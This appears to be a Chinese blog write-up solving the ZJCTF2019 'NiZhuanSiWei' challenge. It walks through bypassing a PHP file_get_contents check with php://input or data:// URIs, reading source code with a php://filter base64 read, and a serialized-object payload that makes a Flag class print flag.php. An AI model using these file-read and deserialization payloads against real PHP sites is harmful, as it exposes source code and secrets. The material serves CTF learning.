ZJCTF2019
NiZhuanSiWei
1 |
|
-
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
$text
可以用php://input
协议读取POST
提交的原始数据内容(也可以用data伪协议传参
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
)
url/?text=php://input
然后post提交welcome to the zjctf
,绕过第一层
-
include($file); //useless.php
$file
提示useless.php
,直接赋值useless.php是没有返回的,这里用phhp://filter
伪协议编码后读取
url/?text=php://input?file=php://filter/read=convert.base64-encode/resource=useless.php
获得的内容base64解码
1 |
|
-
$password = unserialize($password);
建立
Flag
类,对其中的file
赋值为flag.php
,然后获得序列化字符串赋值给password
,password
反序列化后获得Flag
类,echo
的时侯调用tostring
魔术方法将flag.php
输出。但是要注意,在的一个php文件中并没有自动包含
Flag
类,所以需要给file
赋值为useless.php
来包含进Flag
类。
payload:/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Rick!
评论